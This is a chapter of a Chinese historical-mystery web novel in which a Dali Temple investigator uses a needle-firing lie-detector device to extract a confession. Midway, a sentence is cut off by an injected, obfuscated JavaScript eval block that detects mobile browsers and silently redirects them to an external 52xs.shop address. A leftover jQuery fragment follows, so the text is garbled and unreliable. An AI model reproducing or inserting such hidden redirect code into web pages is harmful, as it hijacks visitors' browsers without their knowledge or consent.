这倒是激发出松萝的好奇心。
她边往前走边道:“你细细说来。”
昭雪与她并肩行走,开始述起事件经过。
“今日你前脚出门,后脚我便前往吉运街上寻工,但不幸的是没几家食肆招工的,后来我便来到那水月楼,恰好有招工牌,我便进去一瞧,被那水月楼的管事带到了后厨,可谁料那王大英竟如此瞧不上人,直接将我赶了出去。我提出比试,可他却嘲讽不止。真是令人气愤!”
昭雪把不满和不甘全都倾泻了出来。她双唇紧闭,胸脯急速地起伏着,但脸庞上却不见怒火踪影。
松萝闻言,也觉这王大英实在是可恶。
她眉头紧锁,替她鸣不公:“就算你只会做些野菜,那又如何?这些人凭何瞧不起你?!无妨,待我取回测谎器,定叫王大英吃些苦头!”
“好。”昭雪重重点了点头,但旋即话锋一转说,“既然王大英被大理寺卿带走,那我岂不是可以进水月楼做工了?”
松萝属实有些吃惊。她以为昭雪不会在踏足那水月楼半步,未曾想她竟还有这想法。
松萝抬眉讶然出声:“你还要去水月楼做工?为何不换个地方?”
昭雪面露难色,支支吾吾好半天才开口:“工……钱多。”
松萝微怔,须臾回道:“若你想,就去做,别委屈了自己就好。”
“嗯!”昭雪得到支持,很是开心。
但她还未被招入,她明日要再去趟水月楼,定要与那的东家好生说道说道。
*
大理寺,理事堂,静谧无声。气氛犹如冬日霜雪,冰冷的空气仿佛置身冰窖。
王大英扯了扯嘴角,眼珠转动从面前三人扫过,最终停落在松萝身上。
松萝手拿测谎器,见他看过来,嘴角上扬狡诈一笑,缓步朝他走近。
松萝边摆弄暗器边问他:“王大英,你方才所言可有说谎?”
卫慈已将王大英所言语悉数告知于松萝。
“没有……没有,绝对没有说谎啊这位大人。”王大英疯狂摇头,像一个拨浪鼓。片刻,他又磕起头来,“卫大人在此,小的也不敢啊!”
松萝没回他,而是转头朝卫慈道:“大人……”
话到一半,卫慈抢言道,“给他绑上。”
李少语收到命令,来到王大英背后,双手控制住他。松萝见状,赶忙打开测谎器将王大英的手放上,使出全身力气固定住,而后松手,测谎器便牢牢稳固在他手上。
王大英从懵圈到连连嚎叫,他的手背此刻被勒的生疼,五官都有些扭曲。
“这是何物啊?大人。”王大英将手上的测谎器挪到眼前,手晃动观看着。
松萝后退了几步,同时李少语也回到卫慈身旁。
松萝冷了冷脸,轻咳几声后询问道:“邓胜这人究竟存不存在?”
王大英眼神忽地定住,随后抬头看向松萝,吞咽了下,后不假思索地回道:“当然存在,不然怎会有人喊他姓名?”
此话一出,测谎器机关开启。
突地,一排排细针如猛狮般袭来,令人措不及防的受到攻击。
王大英眼睛陡然瞪大,后背蓦然僵直,随后发出刺耳的尖叫,身体也随之歪倒打滚惊喊,经历的仿佛是钻心剜骨的疼痛。
“哎呦!啊啊啊——疼死我了。”王大英用力甩着手,试图把测谎器摇晃下来。
松萝冷哼一声,她方才瞧见王大英吞咽动作,明显是撒谎前兆。她趁机继续逼问:“邓胜这人到底存不存在?”
若王大英否认,那么他先前所言就都不攻自破。这一切的一切都是他刻意隐瞒。
王大英还想试图狡辩。
“存在……存……”可话未说完,细针再次狠狠扎进他的肉骨。
王大英被折磨的求饶,他忍着疼痛爬到松萝面前,伸手握住她的脚踝。
松萝赶忙挣脱开,并往后退了一大步。
“事到如今,你还不打算说实话吗?”卫慈嗓音如寒流般响起。
理事堂内突然变得安静下来。王大英沉默了,痛觉被抛在脑后,痛到极致也就不那么痛了。
两滴眼泪落下,王大英又哭诉出声,他换了一种姿势,跪到卫慈面前。
“大人,是小的糊涂,是小的糊涂啊。”王大英不断抽噎着,说话断断续续的,眼泪扑簌扑簌地落下。
卫慈无奈地呼出一口气,凉薄的嗓音再次开口:“本卿再给你一次机会,若再存心隐瞒或胡言乱语,下次的刑罚恐比这次还要狠厉。故有些话你想好了再说,这里是大理寺不会有人敢把你怎样。”
王大英点了点头,瘫坐在地上,一股脑全将那日之事抖了出来,“那日我接到命令,把少卿的卷宗放入卷宗室。大人也知道,卷宗室那地方几乎不会有人进去,所以大门上的锁也就生了锈,我费好大力气才打开,可就在我抱着卷宗踏进门时,突然有人在后面给了我一棒,我当时“啪”一下就倒地了,但那人也不知是不是傻,这点力度根本不致使人晕厥,可我为小命不得不装晕。”
“所以你眼睁睁看着卷宗被人拿走了?”李少语语气稍稍充满怒气。
王大英越说头垂的越低,脸染上了红晕,心觉有些丢脸。
松萝让他继续说下去,“后来呢?”
王大英道:“后来那人从掉落的卷宗里翻找,最终拿着一本卷宗走了,我刚从地上爬起身,可谁料那二人竟又折返回来,还与我撞了个满怀。其中一女子将一棍形状的东西抵在我脑门,威胁恐吓我若将此事说出便要了我的脑袋,杀了我全家,并且还让我立刻解官,否则我将活不过明日。”
松萝逐渐凝重起来,她嘴中呢喃着,“棍形东西……莲花棍……女子。”
卫慈皱起眉头,眼神中透露忧虑和,他深思着王大英所言,整个面庞都略显沉重。
测谎器再无异动,王大英这次并未说谎。
“所以你就解官去了八皇子所在的酒楼做工?”李少语问。
王大英抬起头,声音带着害怕和恐惧:“不是,是那女子指定我去的,她说是为我解官后谋生路。大人我所知道的都交代了,你们可千万护好我妻儿啊。”
“那邓胜这人?”李少语接着问。
王大英声音弱了下去:“是我胡邹的。”
这时,松萝猛然想起什么,她着急地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305149|150291||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
问道:“你可看清那女子脸庞?”
“未曾看到,那女子带着纱笠,身形高挑瘦弱。”王大英想了好一会才道。
卫慈似乎和松萝想到一块去了,松萝回头,两人默契的对视,两人都未语,可四目相对间,仿佛已交谈过。
卫慈朝李少语吩咐道:“把王大英手上的测谎器去下,然后带下去并派官兵在他家附近秘密驻守,若发现有人接触,立刻抓捕。”
“是。”
……
松萝小心翼翼的拿出莲花棍,轻轻放在桌案上,“大人,这便是那老翁所制。”
卫慈瞧着那莲花头很是精致,刚想上手碰,松萝眼疾手快的抓住他,厉声制止:“大人,不可触摸!”
卫慈感受到一股温暖袭来,发现松萝的手正覆盖在自己手上,他霎时间像半截木头立在那。
松萝觉察不对,这才发现自己出格举动,连忙松开了手,尴尬地咽了咽口水。
须臾,卫慈疑惑地问:“为何?”
松萝解释道:“那老翁跟我说,这里面有根死箭,箭连着莲花头,若大人贸然触碰,我们恐会受伤。”
卫慈收回手,问:“你有几成把握能将里面的箭取出?”
松萝不敢妄下狂言,思虑良久,她才回道:“莲花棍我先前并未有过接触,所以对内部构造并不是很熟,我只能尽力而为,不过……”
“不过什么?”
“不过若是有传说中宁从闻,宁大师的《机关集录》我便有五成把握。”松萝确信地说。
宁从闻自幼跟随父亲建造皇宫机关,打造兵器暗器等,但因早些年大病一场,现已脱离皇宫人也不知去哪了。
但对于他的传闻仍然不断,民间话本都说,“若得宁机关师的《机关集录》那此生就吃穿不愁了。”
卫慈一愣,旋即诧异道:“话本里的事情半真半假,这你也信?不过皇宫里以前是有这么一位机关师,但这机关集录唯恐是谣言。”
“为何?大人难不成与这位宁机关师相识?”松萝笑容满面,双眸闪烁着期待。
卫慈的确与宁从闻相识,而且还是很要好的兄弟。不过宁从闻卧病在床,卫慈并不希望他人能从己这知晓宁从闻的消息,只望他能安心养病,不受叨扰。
卫慈面无表情地启唇:“我与宁机关师,并不相识。不过既你需要有关莲花棍的书籍,我替你寻便是。但今日天色不早,你且先回,莲花棍就暂且搁置大理寺,明日一早我们一同解这莲花棍。”
松萝还是有些失落,不过既宁从闻已隐世,就算卫慈相识,也肯不愿去打扰。
松萝并未有太大落差,她应声:“好。不过大人心里觉得方才王大英所说的那位女子是谁?她又为何这么做?”
卫慈没言语,但仿佛又说了很多话。有些事,不到水落石出的那天,都不可妄下定论。若事与愿违,恐会深深陷入,不可自拔。
松萝识趣的走出了理事堂。
今日整日都在忙碌,走出大理寺后她顿觉轻松不少。
她伸了个腰,抬眸望向空中。
夕阳映照,晚霞如火,金黄灿烂大小不一的分布在天空,美不胜收。